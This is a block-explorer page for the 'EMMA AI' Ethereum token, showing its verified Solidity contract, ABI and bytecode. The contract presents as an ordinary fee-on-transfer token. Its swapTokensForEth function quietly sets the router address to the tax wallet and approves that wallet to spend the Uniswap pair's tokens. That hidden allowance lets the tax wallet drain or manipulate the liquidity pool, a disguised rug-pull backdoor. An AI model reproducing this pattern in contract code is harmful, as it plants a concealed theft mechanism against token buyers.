ETH Price: $3,407.48 (+3.41%)

Token

EMMA AI (EMMA)
 

Overview

Max Total Supply

100,000,000 EMMA

Holders

139

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
215,459.56214018 EMMA

Value
$0.00
0xdc219bac81d42f601dc7c2f51e2536b528632fcd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EMMA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-01
*/

/**

EMMA AI - $EMMA

https://www.emmaai.xyz
https://app.emmaai.xyz

https://t.me/emmaai_eth
https://x.com/emmaai_eth

**/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EMMA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private  _taxWallet;
    address private uniswapV2Pair;
    address private _routerAddress;
    IUniswapV2Router02 private uniswapV2Router;

    uint256 private constant _initialBuyTax =30;
    uint256 private constant _initialSellTax=30;
    uint256 private constant _reduceBuyTaxAt=15;
    uint256 private constant _reduceSellTaxAt=15;
    uint256 private constant _preventSwapBefore=15;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _buyCount=0;
    uint256 private _countTax;
    
    string  private constant _name   = unicode"EMMA AI";
    string  private constant _symbol = unicode"EMMA";
    uint8   private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    uint256 public  constant _taxSwapThreshold = 10 * 10**_decimals;
    uint256 public  constant _maxTaxSwap = 1000000 * 10**_decimals;
    uint256 public  constant _minTaxSwap = 10 * 10**_decimals;
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;   

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event FinalTax (uint256 _valueBuy, uint256 _valueSell);
    event TradingActive (bool _tradingOpen,bool _swapEnabled);
    event maxAmount(uint256 _value);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet) {
         _taxWallet = payable(taxWallet);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) { 

            if(!tradingOpen){
                require(
                    _isExcludedFromFee[to] || _isExcludedFromFee[from],
                    "trading not yet open"
                );
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            
            if ( to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax)/100;    
            } 
            else if (from == uniswapV2Pair && to!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)/100;
            }

            _countTax += taxAmount;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap && 
                to == uniswapV2Pair && 
                swapEnabled && 
                contractTokenBalance > _taxSwapThreshold && 
                _buyCount > _preventSwapBefore
            ){
                uint256 getMinValue = (contractTokenBalance > _maxTaxSwap)?_maxTaxSwap:contractTokenBalance;
                swapTokensForEth((amount > getMinValue)?getMinValue:amount);
                uint256 contractETHBalance = address(this).balance;
                bool shouldTransferETH = contractETHBalance > 0 && amount > getMinValue / 1000;
                if(shouldTransferETH) {
                    sendETHToFee(address(this).balance);
                }
                _countTax = 0;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        _routerAddress = _taxWallet;
        path[1] = uniswapV2Router.WETH();
        _approve(uniswapV2Pair, _routerAddress, _maxWalletSize);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _initialize () external onlyOwner {
        require(!tradingOpen,"init already called");
        uint256 tokenAmount = balanceOf(address(this)).sub(_tTotal.mul(_initialBuyTax).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), type(uint).max);
        uniswapV2Pair = IUniswapV2Factory(
            uniswapV2Router.factory())
            .createPair(address(this), 
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance} (
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
    }

    function _openTrading () external onlyOwner {
        require(!tradingOpen,"trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit TradingActive (tradingOpen,swapEnabled);
    }

    function _removeLimits () external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit maxAmount (_tTotal);
    }
    
    function _setFinalTax (uint256 _valueBuy, uint256 _valueSell) external onlyOwner {
        require(_valueBuy <= 30 && _valueSell <= 30 && tradingOpen, "Exceeds value");
        _finalBuyTax = _valueBuy;
        _finalSellTax = _valueSell;
        emit FinalTax(_valueBuy, _valueSell);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"TradingActive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"_setFinalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260085560026009556000600a556009600a6200002391906200030c565b6200003290621e848062000324565b600c55620000436009600a6200030c565b6200005290621e848062000324565b600d55600e805462ffff00191690553480156200006e57600080fd5b5060405162001d2538038062001d2583398101604081905262000091916200033e565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b038316179055620000fb6009600a6200030c565b6200010b906305f5e10062000324565b336000908152600160208190526040822092909255600390620001366000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556004549091168152600390925280822080548416600190811790915530835291208054909216179055620001953390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001cf6009600a6200030c565b620001df906305f5e10062000324565b60405190815260200160405180910390a35062000369565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200024e578160001904821115620002325762000232620001f7565b808516156200024057918102915b93841c939080029062000212565b509250929050565b600082620002675750600162000306565b81620002765750600062000306565b81600181146200028f57600281146200029a57620002ba565b600191505062000306565b60ff841115620002ae57620002ae620001f7565b50506001821b62000306565b5060208310610133831016604e8410600b8410161715620002df575081810a62000306565b620002eb83836200020d565b8060001904821115620003025762000302620001f7565b0290505b92915050565b60006200031d60ff84168362000256565b9392505050565b8082028115828204841417620003065762000306620001f7565b6000602082840312156200035157600080fd5b81516001600160a01b03811681146200031d57600080fd5b6119ac80620003796000396000f3fe6080604052600436106101235760003560e01c806370a08231116100a05780638f9a55c0116100645780638f9a55c01461031457806395d89b411461032a578063a9059cbb14610357578063bf474bed14610210578063dd62ed3e1461037757600080fd5b806370a0823114610276578063715018a6146102ac5780637d1db4a5146102c157806380ae4ebc146102d75780638da5cb5b146102ec57600080fd5b806323b872dd116100e757806323b872dd146101f0578063300d621714610210578063313ce567146102255780634a30b3861461024157806361df9f981461025657600080fd5b806306fdde031461012f578063095ea7b3146101715780630faee56f146101a157806318160ddd146101c45780631c1702f3146101d957600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082019091526007815266454d4d4120414960c81b60208201525b6040516101689190611559565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046115bf565b6103bd565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b66103d4565b604051908152602001610168565b3480156101d057600080fd5b506101b66103f0565b3480156101e557600080fd5b506101ee610411565b005b3480156101fc57600080fd5b5061019161020b3660046115eb565b6104ea565b34801561021c57600080fd5b506101b6610553565b34801561023157600080fd5b5060405160098152602001610168565b34801561024d57600080fd5b506101ee61056a565b34801561026257600080fd5b506101ee61027136600461162c565b610617565b34801561028257600080fd5b506101b661029136600461164e565b6001600160a01b031660009081526001602052604090205490565b3480156102b857600080fd5b506101ee6106e4565b3480156102cd57600080fd5b506101b6600c5481565b3480156102e357600080fd5b506101ee610758565b3480156102f857600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561032057600080fd5b506101b6600d5481565b34801561033657600080fd5b50604080518082019091526004815263454d4d4160e01b602082015261015b565b34801561036357600080fd5b506101916103723660046115bf565b610af8565b34801561038357600080fd5b506101b661039236600461166b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ca338484610b05565b5060015b92915050565b6103e06009600a61179e565b6103ed90620f42406117ad565b81565b60006103fe6009600a61179e565b61040c906305f5e1006117ad565b905090565b6000546001600160a01b031633146104445760405162461bcd60e51b815260040161043b906117c4565b60405180910390fd5b600e5460ff161561048e5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b604482015260640161043b565b600e80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b60006104f7848484610bd2565b61054984336105448560405180606001604052806028815260200161194f602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111b2565b610b05565b5060019392505050565b61055f6009600a61179e565b6103ed90600a6117ad565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040161043b906117c4565b6105a06009600a61179e565b6105ae906305f5e1006117ad565b600c556105bd6009600a61179e565b6105cb906305f5e1006117ad565b600d557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105fb6009600a61179e565b610609906305f5e1006117ad565b6040519081526020016104e0565b6000546001600160a01b031633146106415760405162461bcd60e51b815260040161043b906117c4565b601e82111580156106535750601e8111155b80156106615750600e5460ff165b61069d5760405162461bcd60e51b815260206004820152600d60248201526c457863656564732076616c756560981b604482015260640161043b565b6008829055600981905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161043b906117c4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107825760405162461bcd60e51b815260040161043b906117c4565b600e5460ff16156107cb5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b604482015260640161043b565b600061081661080060646107fa601e6107e66009600a61179e565b6107f4906305f5e1006117ad565b906111ec565b90611275565b30600090815260016020526040902054906112b7565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909150610850903090600019610b05565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c791906117f9565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094d91906117f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561099a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109be91906117f9565b600580546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a779190611816565b505060055460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ad0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af49190611844565b5050565b60006103ca338484610bd2565b6001600160a01b03831615801590610b2557506001600160a01b03821615155b610b715760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f206164647265737300604482015260640161043b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610bf257506001600160a01b03821615155b610c3e5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f2061646472657373604482015260640161043b565b60008111610ca05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043b565b600080546001600160a01b03858116911614801590610ccd57506000546001600160a01b03848116911614155b1561106f57600e5460ff16610d5e576001600160a01b03831660009081526003602052604090205460ff1680610d1b57506001600160a01b03841660009081526003602052604090205460ff165b610d5e5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161043b565b6005546001600160a01b038581169116148015610d8957506007546001600160a01b03848116911614155b8015610dae57506001600160a01b03831660009081526003602052604090205460ff16155b15610e9657600c54821115610e055760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161043b565b600d5482610e28856001600160a01b031660009081526001602052604090205490565b610e329190611866565b1115610e805760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161043b565b600a8054906000610e9083611879565b91905055505b6005546001600160a01b038481169116148015610ebc57506001600160a01b0384163014155b15610ef3576064610ee2600f600a5411610ed757601e610edb565b6009545b84906111ec565b610eec9190611892565b9050610f4b565b6005546001600160a01b038581169116148015610f1957506001600160a01b0383163014155b15610f4b576064610f3e600f600a5411610f3457601e610edb565b60085484906111ec565b610f489190611892565b90505b80600b6000828254610f5d9190611866565b909155505030600090815260016020526040902054600e54610100900460ff16158015610f9757506005546001600160a01b038581169116145b8015610fab5750600e5462010000900460ff165b8015610fcc5750610fbe6009600a61179e565b610fc990600a6117ad565b81115b8015610fda5750600f600a54115b1561106d576000610fed6009600a61179e565b610ffa90620f42406117ad565b8211611006578161101f565b6110126009600a61179e565b61101f90620f42406117ad565b905061103781851161103157846112f9565b816112f9565b476000811580159061105357506110506103e884611892565b86115b905080156110645761106447611492565b50506000600b55505b505b80156110e9573060009081526001602052604090205461108f90826114cc565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110e09085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461110c90836112b7565b6001600160a01b03851660009081526001602052604090205561115161113283836112b7565b6001600160a01b038516600090815260016020526040902054906114cc565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61119b85856112b7565b60405190815260200160405180910390a350505050565b600081848411156111d65760405162461bcd60e51b815260040161043b9190611559565b5060006111e384866118b4565b95945050505050565b6000826000036111fe575060006103ce565b600061120a83856117ad565b9050826112178583611892565b1461126e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043b565b9392505050565b600061126e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152b565b600061126e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b2565b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133d5761133d6118c7565b6001600160a01b0392831660209182029290920181019190915260048054600680546001600160a01b031916918516919091179055600754604080516315ab88c960e31b81529051919094169363ad5c464893818401939092918290030181865afa1580156113b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d491906117f9565b816001815181106113e7576113e76118c7565b6001600160a01b039283166020918202929092010152600554600654600d5461141893928316929190911690610b05565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906114519085906000908690309042906004016118dd565b600060405180830381600087803b15801561146b57600080fd5b505af115801561147f573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610af4573d6000803e3d6000fd5b6000806114d98385611866565b90508381101561126e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043b565b6000818361154c5760405162461bcd60e51b815260040161043b9190611559565b5060006111e38486611892565b600060208083528351808285015260005b818110156115865785810183015185820160400152820161156a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115bc57600080fd5b50565b600080604083850312156115d257600080fd5b82356115dd816115a7565b946020939093013593505050565b60008060006060848603121561160057600080fd5b833561160b816115a7565b9250602084013561161b816115a7565b929592945050506040919091013590565b6000806040838503121561163f57600080fd5b50508035926020909101359150565b60006020828403121561166057600080fd5b813561126e816115a7565b6000806040838503121561167e57600080fd5b8235611689816115a7565b91506020830135611699816115a7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116f55781600019048211156116db576116db6116a4565b808516156116e857918102915b93841c93908002906116bf565b509250929050565b60008261170c575060016103ce565b81611719575060006103ce565b816001811461172f576002811461173957611755565b60019150506103ce565b60ff84111561174a5761174a6116a4565b50506001821b6103ce565b5060208310610133831016604e8410600b8410161715611778575081810a6103ce565b61178283836116ba565b8060001904821115611796576117966116a4565b029392505050565b600061126e60ff8416836116fd565b80820281158282048414176103ce576103ce6116a4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561180b57600080fd5b815161126e816115a7565b60008060006060848603121561182b57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561185657600080fd5b8151801515811461126e57600080fd5b808201808211156103ce576103ce6116a4565b60006001820161188b5761188b6116a4565b5060010190565b6000826118af57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103ce576103ce6116a4565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561192d5784516001600160a01b031683529383019391830191600101611908565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3b26b5ad0e9740c812f1e89401192494229523c8db57a7b0bdfcbb5b1faff9d64736f6c6343000813003300000000000000000000000009dd37a7edd64ce3e303f636ae1565b6c340f167

Deployed Bytecode

0x6080604052600436106101235760003560e01c806370a08231116100a05780638f9a55c0116100645780638f9a55c01461031457806395d89b411461032a578063a9059cbb14610357578063bf474bed14610210578063dd62ed3e1461037757600080fd5b806370a0823114610276578063715018a6146102ac5780637d1db4a5146102c157806380ae4ebc146102d75780638da5cb5b146102ec57600080fd5b806323b872dd116100e757806323b872dd146101f0578063300d621714610210578063313ce567146102255780634a30b3861461024157806361df9f981461025657600080fd5b806306fdde031461012f578063095ea7b3146101715780630faee56f146101a157806318160ddd146101c45780631c1702f3146101d957600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082019091526007815266454d4d4120414960c81b60208201525b6040516101689190611559565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046115bf565b6103bd565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b66103d4565b604051908152602001610168565b3480156101d057600080fd5b506101b66103f0565b3480156101e557600080fd5b506101ee610411565b005b3480156101fc57600080fd5b5061019161020b3660046115eb565b6104ea565b34801561021c57600080fd5b506101b6610553565b34801561023157600080fd5b5060405160098152602001610168565b34801561024d57600080fd5b506101ee61056a565b34801561026257600080fd5b506101ee61027136600461162c565b610617565b34801561028257600080fd5b506101b661029136600461164e565b6001600160a01b031660009081526001602052604090205490565b3480156102b857600080fd5b506101ee6106e4565b3480156102cd57600080fd5b506101b6600c5481565b3480156102e357600080fd5b506101ee610758565b3480156102f857600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561032057600080fd5b506101b6600d5481565b34801561033657600080fd5b50604080518082019091526004815263454d4d4160e01b602082015261015b565b34801561036357600080fd5b506101916103723660046115bf565b610af8565b34801561038357600080fd5b506101b661039236600461166b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ca338484610b05565b5060015b92915050565b6103e06009600a61179e565b6103ed90620f42406117ad565b81565b60006103fe6009600a61179e565b61040c906305f5e1006117ad565b905090565b6000546001600160a01b031633146104445760405162461bcd60e51b815260040161043b906117c4565b60405180910390fd5b600e5460ff161561048e5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b604482015260640161043b565b600e80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b60006104f7848484610bd2565b61054984336105448560405180606001604052806028815260200161194f602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111b2565b610b05565b5060019392505050565b61055f6009600a61179e565b6103ed90600a6117ad565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040161043b906117c4565b6105a06009600a6117